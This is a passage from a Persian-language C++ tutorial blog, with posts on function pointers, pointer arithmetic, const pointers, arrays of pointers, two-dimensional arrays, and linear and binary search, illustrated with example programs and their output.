const int arraySize = 10;
int order;
int counter;
int a[ arraySize ] = { 2, 6, 4, 8, 10,
12, 89, 68, 45, 37 };

cout << "Enter 1 to sort in ascending order,\n"
<< "Enter 2 to sort in descending order: ";
cin >> order;
cout << "\nData items in original order\n";

for ( counter = 0; counter < arraySize; counter++ )
cout << " " << a[ counter ];

if ( order == 1 ) {
bubble( a, arraySize, ascending );
cout << "\nData items in ascending order\n";
}
else {
bubble( a, arraySize, descending );
cout << "\nData items in descending order\n";
}

for ( counter = 0; counter < arraySize; counter++ )
cout << " " << a[ counter ];

cout << endl;
}

void bubble( int work[], const int size,
int (*compare)( int, int ) )
{
for ( int pass = 1; pass < size; pass++ )
for ( int count = 0; count < size-1; count++)
if ( (*compare)( work[count], work[count + 1]))
swap( &work[ count ], &work[count + 1]);
}

void swap( int * const element1Ptr,
int * const element2Ptr )
{
int hold = *element1Ptr;
*element1Ptr = *element2Ptr;
*element2Ptr = hold;
}

int ascending( int a, int b )
{
return b < a;
}

int descending( int a, int b )
{
return b > a;
}

خروجی برنامه فوق به صورت زير می باشد :

Enter 1 to sort in ascending order,
Enter 2 to sort in descending order: 1

Data items in original order
2 6 4 8 10 12 89 68 45 37
Data items in ascending order
2 4 6 8 10 12 37 45 68 89
Enter 1 to sort in ascending order,
Enter 2 to sort in descending order: 2

Data items in original order
2 6 4 8 10 12 89 68 45 37
Data items in descending order
89 68 45 37 12 10 8 6 4 2

همانطور که در برنامه ديديد آرگومان زير در تابع bubble مورد استفاده قرار گرفت :

int (*compare) (int , int)

اين دستور به تابع bubble می گويد که آرگومانی که دريافت می کند، يک اشاره گر به تابعی می باشد که دو آرگومان از نوع عدد صحيح دريافت می کند و خروجی آن از نوع int می باشد.

پرانتزهای به کار رفته در کنار compare* برای اينکه مشخص کنيم compare اشاره گری به يک تابع می باشد ، الزاميند. اگر پرانتزها را در کنار compare* به کار نبريم دستور زير را خواهيم داشت :

int *compare (int,int)

که اين دستور ، تابعی را تعريف می کند که دو عدد صحيح را دريافت کرده و اشاره گری به مقداری از نوع int را به عنوان خروجی بر می گرداند .

اين آرگومان در پيش تعريف تابع bubble به صورت زير می باشد :

int (*)(int,int)

توجه داشته باشيد که تنها نوع داده ها مشخص شده است و نيازی به ذکر نام داده ها و آرگومانها نمی باشد .

تابع ارسال شده به bubble توسط دستور زير فراخوانی می شود :

(*compare) (work[count],work[count+1])

يکی ديگر از کاربردهای اشاره گرهای تابع در انتخاب يکی از موارد يک فهرست می باشد . برنامه از کاربر می خواهد که گزينه ای را از فهرستی انتخاب کند . هر گزينه به تابعی مرتبط است که با انتخاب آن گزينه ، تابع مرتبط به گزينه انتخاب شده ، اجرا می شود . اشاره گرهای به هر تابع ، در يک آرايه قرار می گيرند . در چنين حالتی همه اين توابع بايد ورودی و خروجی يکسانی از نظر نوع داده داشته باشند . انتخاب کاربر به عنوان انديسی از آرايه اشاره گرهای به توابع ، مورد استفاده قرار می گيرد و اشاره گر موجود در آرايه برای فراخوانی تابع مربوط استفاده می شود. در برنامه زير نحوه استفاده از آرايه ای از اشاره گرهای به توابع نشان داده شده است :

#include <iostream.h>

void function1( int );
void function2( int );
void function3( int );

int main()
{
void(*f[ 3 ])(int)={function1, function2, function3};

int choice;

cout << "Enter a number between 0 and 2, 3 to end:";
cin >> choice;

while ( choice >= 0 && choice < 3 ) {

(*f[ choice ])( choice );

cout <<"Enter a number between 0 and 2, 3 to end:";
cin >> choice;
}

cout << "Program execution completed." << endl;

return 0;
}

void function1( int a )
{
cout << "You entered " << a
<< " so function1 was called\n\n";
}

void function2( int b )
{
cout << "You entered " << b
<< " so function2 was called\n\n";
}

void function3( int c )
{
cout << "You entered " << c
<< " so function3 was called\n\n";
}

خروجی برنامه فوق به صورت زير می باشد :

Enter a number between 0 and 2, 3 to end: 2
You entered 2 so function3 was called

Enter a number between 0 and 2, 3 to end: 0
You entered 0 so function1 was called

Enter a number between 0 and 2, 3 to end: 1
You entered 1 so function2 was called

Enter a number between 0 and 2, 3 to end: 3
Program execution completed.

در برنامه فوق سه تابع با نامهای function1 و function2 و function3 که هر يک عدد صحيحی را به عنوان ورودی دريافت می کنند و خروجی ندارند ، تعريف شده است. دستور زير اشاره گرهای به اين سه تابع را در آرايه ای با نام f قرار می دهد .

void (*f[3]) (int) = {function1,function2,function3};

همانطور که می بينيد نوع آرايه کاملاً مثل نوع توابع، تعريف شده است ، چون اين آرايه حاوی اشاره گرهايی به توابع می باشد . هنگامی که کاربر عددی را بين 0 تا 2 وارد می کند ، عدد وارد شده به عنوان انديس آرايه f استفاده می شود . لذا دستور زير :

(*f[choice]) (choice);

باعث اجرای يکی از توابع آرايه f می شود و choice به عنوان آرگومان به تابع ارسال می شود .


 
comment نظرات ()
 
 
قسمت سی و هشتم
نویسنده : Hossein - ساعت ۱٠:۱٦ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

آرايه ای از اشاره گرها

عناصر يک آرايه می توانند اشاره گرها باشند . يکی از کاربردهای چنين آرايه ای ساختن آرايه ای شامل رشته هايی از حروف می باشد . هر عنصر چنين آرايه ای يک رشته از حروف می باشد که اين رشته از حروف توسط اشاره گری به اولين حرف رشته مشخص می شود . به دستور زير توجه کنيد :

const char *s[4] =
{ "string1","string2","string3","string4" }

دستور فوق آرايه ای چهار عنصری شامل رشته هايی از حروف ايجاد می کند. *char در دستور فوق مشخص می کند که هر عنصر آرايه s ، اشاره گری به داده ای از نوع char می باشد . چهار مقداری که در آرايه قرار می گيرند "string1" و "string2" و "string3" و "string4" می باشند . انتهای هر کدام از اين رشته ها که در حافظه قرار می گيرند با کاراکتر پوچ مشخص می شود ، لذا طول اين رشته ها يک واحد بيشتر از تعداد حروفی می باشد که بين " " قرار دارد . در اين دستور طول هر يک از رشته ها هشت حرف می باشد . اگر چه به نظر می رسد که اين رشته از حروف درآرايه قرار می گيرند ولی در واقع اشاره گرهايی به اولين حرف هر يک از اين رشته ها در آرايه قرار دارد . به شکل زير توجه کنيد :


اگر چه آرايه طول ثابتی دارد ، اما اين شيوه ما را قادر می سازد که به رشته هايی با طول نا مشخص دسترسی پيدا کنيم . اين انعطاف پذيری مثالی از توان زبان ++C در ايجاد ساختمان های داده ای می باشد .

نکته : توجه داشته باشيد که آرايه ای از حروف را می توان توسط يک آرايه دو بعدی از نوع char نيز ايجاد کرد که هر سطر حاوی يک رشته و هر ستون حاوی يک حرف از يک رشته می باشد . در چنين حالتی تعداد ستون ها در هر سطر بايد عددی ثابت باشد و اين عدد بايد برابر با طول بزرگترين رشته باشد ، لذا هنگامی که رشته های زيادی از حروف داريم و طول اکثر رشته ها از طول بزرگترين رشته کمتر می باشند ، مقدار زيادی از خانه های حافظه به هدر می رود . به شکل زير توجه کنيد :




 
comment نظرات ()
 
 
قسمت سی و هفتم
نویسنده : Hossein - ساعت ٥:۱٤ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ارتباط اشاره گرها و آرايه ها

آرايه ها و اشاره گرها در زبان ++C ارتباط نزديکی با يکديگر داشته و تقريباً می توان آنها را به جای يکديگر به کار برد نام آرايه را می توان به عنوان يک اشاره گر ثابت در نظر گرفت و تمام اعمالی که توسط انديس آرايه می توان انجام داد توسط اشاره گر نيز قابل انجام است و از طريق اشاره گر نيز می توان به تک تک عناصر آرايه دست يافت . دستور زير را در نظر بگيريد :

int b[5];
int bptr;

از آنجا که نام آرايه (بدون انديس) اشاره گری به عنصر اول آرايه می باشد ، می توانيم اشاره گر bptr را توسط دستور زير، به اولين عنصر آرايه b اشاره دهيم :

bptr = b;

و يا می توانيم از دستور زير برای اشاره دادن bptr به عنصر اول آرايه b استفاده کنيم :

bptr = &b[0]

برای دستيابی به عنصر b[3] توسط اشاره گر bptr که توسط يکی از دستورهای فوق به آرايه b مرتبط شد، می توان از دستور زير استفاده کرد :

*(bptr + 3)

در مبحث قبل با مفهوم bptr+3 و عباراتی از اين قبيل آشنا شده ايد. از آنجايی که bptr به عنصر اول آرايه اشاره می کند پس حاوی آدرس عنصر اول آرايه يعنی b[0] می باشد، لذا bptr+3 آدرس خانه b[3] خواهد بود پس
*(bptr + 3) به خانه b[3] اشاره خواهد کرد . توجه داشته باشيد که استفاده از پرانتز در اينجا اجباری می باشد ، چون عملگر * اولويت بالاتری نسبت به عملگر + دارد . اگر دستور فوق را بدون پرانتز به کار ببريم يعنی از bptr+3* استفاده کنيم عدد 3 به خانه b[0] اضافه می گردد .

توجه داشته باشيد که *(b + 3) ( در اينجا b نام آرايه ای می باشد که در دستورات فوق تعريف گرديد ) نيز به خانه b[3] از آرايه اشاره می کند ، چون همانطور که در ابتدای اين بحث گفته شد نام آرايه همانند يک اشاره گر ثابت می باشد .

اشاره گرها را نيز می توان مانند آرايه ها انديس دار کرد ، به عنوان مثال bptr[1] به عنصر b[1] رجوع خواهد کرد چون bptr اشاره گری به آرايهb می باشد .

نکته : همانطور که می دانيد نام آرايه ، اشاره گر ثابتی می باشد لذا دستوری مانند b+=3; برای آرايه ای با نام b قابل استفاده نمی باشد ، چون اشاره گر ثابت همواره به يک خانه از حافظه اشاره می کند .

برای درک نحوه ارتباط و شباهت آرايه ها و اشاره گرها ، به برنامه زير که در آن عناصر آرايه ای توسط چهار روش متفاوت در خروجی چاپ می شوند ، توجه کنيد :

#include <iostream.h>

void main()
{
int b[] = { 10, 20, 30, 40 };
int *bPtr = b;
int i;

cout << "b[i]:\n";
for ( i = 0; i < 4; i++ )
cout << "b[" << i << "] = " << b[ i ] << '\n';

cout << "\n*(b + i):\n";
for ( i = 0; i < 4; i++ )
cout << "*(b + " << i << ") = "
<< *( b + i ) << '\n';


cout << "\nbPtr[i]:\n";
for ( i = 0; i < 4; i++ )
cout << "bPtr[" << i << "] = " << bPtr[ i ] <<'\n';

cout << "\n*(bPtr + i):\n";
for ( i = 0; i < 4; i++ )
cout << "*(bPtr + " << i << ") = "
<< *( bPtr + i ) << '\n';

}

خروجی برنامه فوق به صورت زير می باشد :

b[i]:
b[0] = 10
b[1] = 20
b[2] = 30
b[3] = 40

*(b + i):
*(b + 0) = 10
*(b + 1) = 20
*(b + 2) = 30
*(b + 3) = 40

bPtr[i]:
bPtr[0] = 10
bPtr[1] = 20
bPtr[2] = 30
bPtr[3] = 40

*(bPtr + i):
*(bPtr + 0) = 10
*(bPtr + 1) = 20
*(bPtr + 2) = 30
*(bPtr + 3) = 40

 
comment نظرات ()
 
 
قسمت سی و ششم
نویسنده : Hossein - ساعت ٥:٠۸ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

اعمال محاسباتی با اشاره گرها

اشاره گرها عملوندهايی مجاز در عبارات محاسباتی ، و رابطه ای  می باشند ، البته تمامی عملگرهايی که در اينگونه عبارات به کار می روند برای اشاره گرها مجاز نمی باشند . در اين مبحث به بررسی عملگرهايی که عملوندی از نوع اشاره گر می توانند داشته باشند و نحوه کاربرد آنها می پردازيم .

يک اشاره گر می تواند افزايش (++) يا کاهش (--) يابد . يک عدد صحيح می تواند به آن اضافه (=+ يا +) و يا از آن کم (=- يا -) شود .

فرض کنيد که آرايهint v[5] تعريف شده است و اولين خانه آن در آدرس 3000 از حافظه قرار دارد و فرض کنيد که vptr به خانهv[0] از آرايه اشاره می کند . توجه داشته باشيد که برای اينکه vptr به آرايه v اشاره کند کافی است از يکی از دستورات زير استفاده کنيم :

vptr = v;
vptr = &v[0];

در رياضيات معمول 2+3000 برابر 3002 می شود اما در محاسبات اشاره گرها معمولاً بدين صورت نم باشد . هنگامی که عدد صحيحی به يک اشاره گر اضافه و يا از آن کم می شود ، مقدار اشاره گر معمولاً به اندازه آن عدد زياد يا کم نمی شود ، بلکه به اندازه طول نوع داده ای که اشاره گر به آن اشاره می کند ، زياد يا کم می شود . به عنوان مثال دستور vptr += 2; حاصلش برابر (3000 + 2*4) 3008 خواهد شد البته با فرض اينکه متغيری از نوع  int در چهار بايت از حافظه قرار می گيرد . در آرايه v ، اشاره گر vptr حالا به خانهv[2] اشاره می کند .

اگر متغيری از نوع int در دو بايت از حافظه قرار بگيرد حاصل دستور vptr += 2; خانه (3000 + 2*2)3004 می بود .

اگر vptr به خانه v[4] که در آدرس 3016 است اشاره کند اجرای دستور زير :

vptr -= 4;

باعث می شود که vptr به خانه(3016 - 4*4)3000 يعنیv[0] اشاره کند .

هر يک از دستورات زير باعث می شود که اشاره گر به خانه بعدی آرايه v ، اشاره کند .

++vptr;
vptr++;

و هر يک از دستورات زير باعث می شود که اشاره گر به خانه قبلی آرايه v ، اشاره کند .

--vptr;
vptr--;

اشاره گرهايی که به خانه های يک آرايه اشاره می کنند می توانند از يکديگر کم شوند . به عنوان مثال اگر vptr حاوی 3000 (يعنی به خانهv[0] اشاره کند ) و v2ptr حاوی 3008 ( يعنی به خانهv[2] اشاره کند ) دستور زير :

x=v2ptr - vptr;

تعداد خانه های بين vptr تا v2ptr را در x قرار می دهد که در اينجا x حاوی 2 می گردد . محاسبات اشاره گرها تنها هنگامی که اشاره گرها به خانه های يک آرايه اشاره می کنند ، معنا دار است . همچنين مقايسه اشاره گرها نيز هنگامی مفهوم دارد که به خانه های يک آرايه اشاره کنند به عنوان مثال مقايسه دو اشاره گر می تواند نشان دهد که يکی از اشاره گرها به خانه ای با انديس بزرگتر نسبت به اشاره گر ديگر ، اشاره می کند .


 
comment نظرات ()
 
 
قسمت سی و پنجم
نویسنده : Hossein - ساعت ٥:٠٥ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

const و اشاره گرها

همانطور که می دانيد const به برنامه نويس اين امکان را می دهد که مقدار يک متغير را که از نوع const تعريف شده است ، در طول برنامه نتوان تغيير داد . داده هايی که توسط اشاره گرها به توابع ارسال می شوند ، داخل تابع قابل تغيير می باشند و ممکن است نا خواسته تغيير يابند . برای جلوگيری از تغييرات نا خواسته ، آنها را به صورت ثابت به تابع ارسال می کنيم . به برنامه زير توجه کنيد :

void f( const int * ); // prototype

int main()
{
int y;

f( &y ); // f attempts illegal modification

return 0;
}

// xPtr cannot modify the value of the variable
// to which it points
void f( const int *xPtr )
{
*xPtr = 100; // error: cannot modify a const object
}

برنامه فوق هنگام کامپايل شدن پيغام خطايی مبنی بر اينکه داده ثابت قابل تغيير نمی باشد را خواهد داد .

Compiling CONSTP1.CPP:
Error CONSTP1.CPP 16: Cannot modify a const object

همانطور که مشاهده می کنيد برای ارسال آرگومان توسط اشاره گر به صورت ثابت به تابع از دستور const int *xptr استفاده کرديم . و در تابع هنگام تغيير مقدار اشاره گر ثابت با پيغام خطا مواجه شديم .

يکی ديگر از کاربردهای const همراه اشاره گرها ، ايجاد اشاره گر ثابتی به داده ای غير ثابت می باشد . چنين اشاره گری همواره به يک خانه حافظه اشاره می کند و نمی توان آن را به خانه حافظه ديگری اشاره داد ولی می توان داده داخل همان خانه حافظه را تغيير داد . به برنامه زير توجه کنيد :

int main()
{
int x, y;

// ptr is a constant pointer to an integer that can
// be modified through ptr, but ptr always points
// to the same memory location.
int * const ptr = &x;

*ptr = 7; // allowed: *ptr is not const
ptr = &y; // error: ptr is const;
// cannot assign new address

return 0;
}

برنامه فوق هنگام کامپايل شدن پيغام خطايی می دهد ، مبنی بر اينکه به اشاره گر ثابت آدرس جديدی را نمی توان نسبت داد .

Compiling CONSTP2.CPP:
Error CONSTP2.CPP 11: Cannot modify a const object

در برنامه فوق توسط دستور int * const ptr=&x; اشاره گر ptr به آدرس متغير x اشاره خواهد کرد و چون از نوع ثابت تعريف شده است نمی تواند به آدرس ديگری اشاره کند اما مقداری را که ptr به آن اشاره می کند قابل تغيير است لذا با اجرای دستور ptr=7* خطايی رخ نمی دهد و مقدار متغير x برابر 7 می شود ولی با اجرای دستور ptr=&y می خواهيم اشاره گر به متغير y اشاره کند و از آنجايی که ptr تنها بايد به x اشاره کند با پيغام خطا مواجه می شويم .

کاربرد ديگری از const همراه اشاره گرها ، ايجاد اشاره گر ثابتی به داده ای ثابت می باشد . چنين اشاره گری همواره به يک خانه حافظه اشاره می کند و از طريق اين اشاره گر نيز نمی توان داده داخل آن خانه حافظه را تغيير داد . به برنامه زير توجه کنيد :

#include <iostream.h>

int main()
{
int x = 5, y;

// ptr is a constant pointer to a constant integer.
// ptr always points to the same location;
// the integer at that location cannot be modified.
const int *const ptr = &x;

cout << *ptr << endl;

*ptr = 7; // error: *ptr is const;
// cannot assign new value
ptr = &y; // error: ptr is const;
// cannot assign new address

return 0;
}

هنگام کاپايل کردن برنامه فوق با پيغام خطايی مبنی بر اينکه مقدار اشاره گر و آدرس اشاره گر را نمی توان تغيير داد ، مواجه می شويم .

Compiling CONSTP3.CPP:
Error CONSTP3.CPP 14: Cannot modify a const object
Error CONSTP3.CPP 16: Cannot modify a const object

در برنامه فوق توسط دستور const int * const ptr = &x; آدرس و مقدار اشاره گر ptr از نوع ثابت تعريف شده لذا هنگام تغيير مقدار خانه ای از حافظه که ptr به آن اشاره می کند توسط دستور *ptr = 7; با پيغام خطا مواجه می شويم و نيز هنگام تغيير آدرسی که ptr با آن اشاره می کند توسط دستور ptr = &y; پيغام خطای ديگری دريافت می کنيم .


 
comment نظرات ()
 
 
قسمت سی و چهارم
نویسنده : Hossein - ساعت ٥:٠٤ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ارسال آرگومان به تابع توسط اشاره گر

تا به حال با دو روش ارسال آرگومانها به توابع آشنا شده ايد . ارسال با مقدار و ارسال با ارجاع . در اين مبحث روش ديگری را که ارسال توسط اشاره گر می باشد مورد بررسی قرار می دهيم . اشاره گرها مانند آرگومانهای ارجاع می توانند برای تغيير يک يا چند متغير ارسال شده از داخل تابع و يا برای ارسال داده های بزرگ به توابع مورد استفاده قرار گيرند . در برنامه زير ، شيوه ارسال آرگومان توسط اشاره گر به تابع مورد استفاده قرار گرفته است .

#include <iostream.h>

void callByPointer( int * );

int main()
{
int number = 5;

cout << "The original value of number is " << number;

// pass address of number to callByPointer
callByPointer( &number );

cout << "\nThe new value of number is "
<< number << endl;

return 0;
}

void callByPointer( int *nPtr )
{
*nPtr = *nPtr * *nPtr * *nPtr; // cube *nPtr
}

خروجی برنامه فوق به صورت زير می باشد :

The original value of number is 5
The new value of number is 125

همانطور که در برنامه فوق مشاهده می کنيد ، برای ارسال آرگومان به تابع توسط اشاره گر ، در پيش تعريف تابع پس از مشخص کردن نوع آرگومان از علامت * استفاده می کنيم و در تعريف تابع نيز علامت * را قبل از نام آرگومان اشاره گر قرار می دهيم . ضمناً از آنجا که اشاره گرها آدرس متغيرها را در خود قرار می دهند برای ارسال آرگومان توسط اشاره گر به يک تابع ، هنگام فراخوانی تابع بايد نام متغير ارسالی را همراه علامت & به کار ببريم چون تنها در اين صورت آدرس متغير ارسال می گردد .


 
comment نظرات ()
 
 
قسمت سی و سوم
نویسنده : Hossein - ساعت ٥:٠۱ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

عملگرهای اشاره گر

عملگر آدرس (&) عملگری است که آدرس خانه حافظه عملوند خود را بر می گرداند .

int y=5;
int *yPtr;
yPtr = &y;

دستورات فوق متغير y را از نوع int با عدد 5 مقدار دهی کرده و سپس yPtr ، اشاره گری به متغيری از نوع int تعريف می شود و سرانجام آدرس خانه حافظه y در yPtr قرار می گيرد .


همانطور که در شکل فوق می بينيد ، yPtr حاوی آدرس خانه حافظه y می باشد .

برای آشنايی با نحوه استفاده از اشاره گرها به برنامه زير توجه کنيد :

#include <iostream.h>

void main ()
{
int x = 5, y = 15;
int *xPtr, *yPtr;

xPtr = &x;
yPtr = &y;

cout << "The value of x is " << x
<< "\nThe address of x is " << &x
<< "\nThe value of xPtr is " << xPtr;

cout << "\n\nThe value of y is " << y
<< "\nThe address of y is " << &y
<< "\nThe value of yPtr is " << yPtr;

*xPtr = 10;
cout << "\n\nx=" << x << " and y=" << y;

*yPtr = *xPtr;
cout << "\nx=" << x << " and y=" << y;

xPtr = yPtr;
cout << "\nx=" << x << " and y=" << y;

*xPtr = 20;
cout << "\nx=" << x << " and y=" << y;
}

خروجی برنامه فوق به صورت زير می باشد :

The value of x is 5
The address of x is 0x8fb4fff4
The value of xPtr is 0x8fb4fff4

The value of y is 15
The address of y is 0x8fb4fff2
The value of yPtr is 0x8fb4fff2

x=10 and y=15
x=10 and y=10
x=10 and y=10
x=10 and y=20

در برنامه فوق دو متغير x وy از نوع عدد صحيح تعريف شده و x حاوی 5 و y حاوی 15 می گردد سپس xPtr و yPtr اشاره گری به عدد صحيح تعريف می شوند .

xPtr = &x;
yPtr = &y;

دو دستور فوق همانطور که در خروجی برنامه نيز می بيند ، آدرس خانه حافظه x را در xPtr و آدرس خانه حافظه y را در yPtr قرار می دهد .

دستور *xPtr = 10; در خانه ای از حافظه که xPtr اشاره می کند ( يعنی متغير x ) عدد 10 را قرار می دهد سپس*yPtr = *xPtr; مقدار خانه حافظه ای که xPtr به آن اشاره می کند را در خانه ای از حافظه که yPtr به آن اشاره می کند قرار می دهد يعنی مقدار متغير x در متغير y قرار می گيرد .

دستور xPtr = yPtr; مقدار yPtr را که همان آدرس خانه حافظه y می باشد در xPtr قرار می دهد پس با اجرای اين دستور xPtr ديگر به x اشاره نمی کند بلکه به y اشاره خواهد کرد ، لذا با اجرای دستور *xPtr = 20; همانطور که مشاهده می کنيد x حاوی 20 نمی شود بلکه اين مقدار y است که به 20 تغيير می يابد .


 
comment نظرات ()
 
 
قسمت سی و دوم
نویسنده : Hossein - ساعت ٤:٥٦ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

تعريف اشاره گر

متغيرهای اشاره گر، آدرس خانه های حافظه را در خود نگهداری می کنند . متغيرها معمولاً مقدار مشخصی را در خود دارند ولی اشاره گرها آدرس يک متغير را در خود دارند . نام يک متغير به طور مستقيم به يک مقدار ، مراجعه می کند اما يک اشاره گر به طور غير مستقيم به يک مقدار مراجعه می کند . به شکل زير توجه کنيد :


count به طور مستقيم به مقدار 7 مراجعه می کند .



countPtr به طور غير مستقيم به متغيری که حاوی 7 می باشد مراجعه می کند .

اشاره گرها نيز مانند هر متغير ديگری ، قبل از استفاده بايد تعريف شوند . به عنوان مثال دستور زير متغير count را از نوع int و متغير countPtr را اشاره گری به متغيری از نوع int تعريف می کند .

int count , *countPtr ;

برای تعريف هر متغيری از نوع اشاره گر ، از علامت ستاره * قبل از نام آن استفاده می کنيم .

به دستور زير توجه کنيد :

double *xPtr , *yPtr ;

در دستور فوق ، xPtr و yPtr اشاره گرهايی به متغيرهايی از نوع double تعريف می شوند .

نکته: استفاده از Ptr در انتهای نام متغيرهای اشاره گر الزامی نمی باشد ولی برای اينکه برنامه قابل فهم تر باشد توصيه می شود از Ptr در انتهای نام اشاره گر استفاده کنيد .


 
comment نظرات ()
 
 
قسمت سی و یکم
نویسنده : Hossein - ساعت ٤:٥۳ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

آرايه ها در ++C می توانند بيش از يک انديس داشته باشند . بدين صورت يک آرايه چند انديسه يا چند بعدی خواهيم داشت . کاربردی ترين آرايه چند بعدی ، آرايه دو بعدی می باشد که توسط آن می توان جدولی حاوی مقادير مختلف را شبيه سازی کرد . به دستور زير توجه کنيد :

int a[3][4];

دستور فوق يک آرايه دو بعدی 3 در 4 را به صورت زير ايجاد می کند :


هر عنصر آرايه به صورت a[i][j]، که در آن i شماره سطر و j شماره ستون می باشد ، قابل دسترسی است .

برای مقدار دهی اوليه به عناصر آرايه می توانيد مانند دستور زير عمل کنيد :

int b[2][2] = {{1,2},{3,4}};

دستور فوق آرايه b را به صورت زير مقدار دهی می کند :

1

2

3

4

در برنامه زير چند نمونه از مقدار دهی اوليه به آرايه دو بعدی 2 در 3 آورده شده است :

#include <iostream.h>

void printArray( int [][ 3 ] );

void main()
{
int array1[ 2 ][ 3 ] = { { 1, 2, 3 }, { 4, 5, 6 } };
int array2[ 2 ][ 3 ] = { 1, 2, 3, 4, 5 };
int array3[ 2 ][ 3 ] = { { 1, 2 }, { 4 } };

cout << "Values in array1 by row are:" << endl;
printArray( array1 );

cout << "Values in array2 by row are:" << endl;
printArray( array2 );

cout << "Values in array3 by row are:" << endl;
printArray( array3 );

}

void printArray( int a[][ 3 ] )
{
for ( int i = 0; i < 2; i++ )
{
for ( int j = 0; j < 3; j++ )
cout << a[ i ][ j ] << ' ';
cout << endl;
}

}

خروجی برنامه به صورت زير می باشد :

Values in array1 by row are:
1 2 3
4 5 6
Values in array2 by row are:
1 2 3
4 5 0
Values in array3 by row are:
1 2 0
4 0 0

در برنامه فوق تابع PrintArray وظيفه چاپ عناصر آرايه را بر روی صفحه نمايش دارا می باشد . توجه داشته باشيد که ارسال آرايه به تابع به صورتint a[][3] انجام گرفت . اگر بياد داشته باشيد در آرايه های يک بعدی نيازی به ذکر طول آرايه نبود اما آرايه های بيش از يک بعد تعداد عناصر بعدهای ديگر بايد ذکر شود ، اما نيازی به ذکر طول بعد اول نمی باشد .

مثال : در برنامه زير آرايه 2 بعدی 10 در 10 را با مقادير جدول ضرب ، مقدار دهی می کنيم و سپس آن را بر روی صفحه نمايش چاپ می کنيم .

#include <iostream.h>
void main( )
{

int a[10][10],i,j;

for (i=0;i<10;i++)
for (j=0;j<10;j++)
a[i][j]=(i+1)*(j+1);


for (i=0;i<10;i++){
for (j=0;j<10;j++)
cout <<a[i][j]<<"\t";
cout<<endl;
}
}

خروجی برنامه فوق به صورت زير می باشد :

1   2   3   4   5   6   7   8   9   10

2 4 6 8 10 12 14 16 18 20

3 6 9 12 15 18 21 24 27 30

4 8 12 16 20 24 28 32 36 40

5 10 15 20 25 30 35 40 45 50

6 12 18 24 30 36 42 48 54 60

7 14 21 28 35 42 49 56 63 70

8 16 24 32 40 48 56 64 72 80

9 18 27 36 45 54 63 72 81 90

10 20 30 40 50 60 70 80 90 100

 
comment نظرات ()
 
 
قسمت سی ام
نویسنده : Hossein - ساعت ٤:٥٠ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

جستجو در آرايه ها

عمل جستجو يکی از مهمترين وظايف برنامه های کامپيوتری می باشد . به عنوان مثال دفتر تلفنی را در نظر بگيريد که به دنبال نام فردی در آن می گرديم و يا جستجوی نام يک دانشجو در ليست دانشجويان کلاس . در اين مبحث دو روش جستجو را مورد بررسی قرار می دهيم . يک روش جستجوی خطی است که معمولاً در آرايه های نا مرتب مورد استفاده قرار می گيرد و روش ديگر جستجوی دو دويی می باشد که در آرايه های مرتب از اين شيوه می توانيم استفاده کنيم .

در روش جستجوی خطی ، عنصر مورد جستجو با هر يک از عناصر آرايه مقايسه می شود ، چنانچه دو عنصر برابر بودند ، عمل جستجو به پايان می رسد و انديس عنصر برگردانده می شود و گرنه مقايسه با عنصر بعدی آرايه انجام می پذيرد . از آنجا که عناصر آرايه نا مرتب می باشند عنصر مورد جستجو در هر کجای آرايه می تواند باشد لذا عمل مقايسه تا يافتن عنصر مورد نظر و يا رسيدن به انتهای آرايه يعنی جستجو در همه عناصر آرايه ادامه می يابد . برنامه زير نمونه ای از جستجوی خطی در آرايه می باشد :

#include <iostream.h>

int linearSearch(const int [], int, int );

void main()
{
const int arraySize = 7;
int a[ arraySize ]={2,6,4,3,12,10,5};
int searchKey;

cout << "Enter integer search key: ";
cin >> searchKey;

int element=linearSearch(a, searchKey, arraySize);

if ( element != -1 )
cout << "Found value in element "
<< element << endl;
else
cout << "Value not found" << endl;

}

int linearSearch( const int array[],
int key, int sizeOfArray )
{
for ( int j = 0; j < sizeOfArray; j++ )

if ( array[ j ] == key )
return j;

return -1;
}

خروجی برنامه فوق به صورت زير می باشد :

Enter integer search key: 12
Found value in element 4

روش جستجوی دو دويی در آرايه های مرتب شده قابل استفاده می باشد و از سرعت بالايی برخوردار می باشد . در اين الگوريتم ، در هر بار مقايسه ، نيمی از عناصر آرايه حذف می شوند . الگوريتم عنصر ميانی آرايه را می يابد و آن را با عنصر مورد جستجو، مقايسه می کند . اگر برابر بودند ، جستجو به پايان رسيده و انديس عنصر برگردانده می شود ، در غير اين صورت عمل جستجو روی نيمی از عناصر انجام می گيرد . اگر عنصر مورد جستجو کوچکتر از عنصر ميانی باشد ، جستجو روی نيمه اول آرايه صورت می پذيرد ، در غير اين صورت نيمه دوم آرايه جستجو می شود . اين جستجوی جديد روی زير آرايه طبق الگوريتم جستجو روی آرايه اصلی انجام می شود يعنی عنصر ميانی زير آرايه يافته می شود و با عنصر مورد جستجو مقايسه می گردد ، اگر برابر نباشند زير آرايه مجدداً نصف می شود و در هر بار جستجو زير آرايه ها کوچکتر می گردند . عمل جستجو تا يافتن عنصر مورد نظر( يعنی برابر بودن عنصر مورد جستجو با عنصر ميانی يکی از زير آرايه ها ) و يا نيافتن عنصر مورد نظر ( برابر نبودن عنصر مورد جستجو با عنصر زير آرايه ای شامل تنها يک عنصر ) ادامه می يابد . برنامه زير نمونه ای از جستجوی دو دويی در آرايه مرتب می باشد .

#include <iostream.h>

int binarySearch( const int [], int, int);

void main()
{
const int arraySize = 15;
int a[ arraySize ]={0,2,4,6,8,10,12,14,
16,18,20,22,24,26,28};
int key;

cout << "Enter a number between 0 and 28: ";
cin >> key;

int result =
binarySearch( a, arraySize, key);

if ( result != -1 )
cout << '\n' << key << " found in array element "
<< result << endl;
else
cout << '\n' << key << " not found" << endl;
}

int binarySearch( const int b[],
int arraySize ,
int searchKey )
{
int middle,low=0,high=arraySize - 1;

while ( low <= high )
{
middle = ( low + high ) / 2;
if ( searchKey < b[ middle ] )
high = middle - 1;
else
if ( searchKey > b[ middle ] )
low = middle + 1;
else return middle;
}

return -1;
}

خروجی برنامه فوق به صورت زير می باشد :

